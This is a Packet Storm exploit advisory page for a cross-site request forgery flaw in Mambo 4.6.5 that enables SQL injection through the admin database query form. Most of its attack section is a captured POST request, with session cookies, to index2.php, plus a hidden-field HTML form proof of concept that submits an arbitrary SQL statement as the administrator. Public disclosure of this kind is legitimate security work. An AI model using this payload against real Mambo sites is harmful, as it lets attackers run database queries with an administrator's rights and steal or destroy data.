exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mambo 4.6.5 Cross Site Request Forgery / SQL Injection

Mambo 4.6.5 Cross Site Request Forgery / SQL Injection
Posted Mar 17, 2015
Authored by Provensec

Mambo version 4.6.5 suffers from a cross site request forgery vulnerability that allows for remote SQL injection.

tags | exploit, remote, sql injection, csrf
SHA-256 | 04bf9a99d0420b97a030af4f2b626076b0e55a0fa14e06697a069a826e3585ce

Mambo 4.6.5 Cross Site Request Forgery / SQL Injection

Change Mirror Download
# Affected software: Mambo
# Type of vulnerability: csrf to sql injection
# URL: http://source.mambo-foundation.org/
# Discovered by: Provensec
# Website: http://www.provensec.com

#version 4.6.5
# Proof of concept

no csrf token were used on sql query form so attacker can leverage csrf to
execute sql query on admin end

screenshot

http://prntscr.com/6gk265



POST /mambo/administrator/index2.php HTTP/1.1
Host: demo.opensourcecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://demo.opensourcecms.com/mambo/administrator/index2.php
Cookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5;
__utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/;
__gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ;
__utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4;
__utmb=87180614.1.10.1426317586; __utmt=1;
25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3;
mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3;
mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

sql=select&option=com_mostlydbadmin&task=xquery


vulnerable paramter sql

poc


<html>

<body>
<form action="
http://demo.opensourcecms.com/mambo/administrator/index2.php" method="POST">
<input type="hidden" name="sql" value="sql statement to execute " />
<input type="hidden" name="option" value="com_mostlydbadmin" />
<input type="hidden" name="task" value="xquery" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close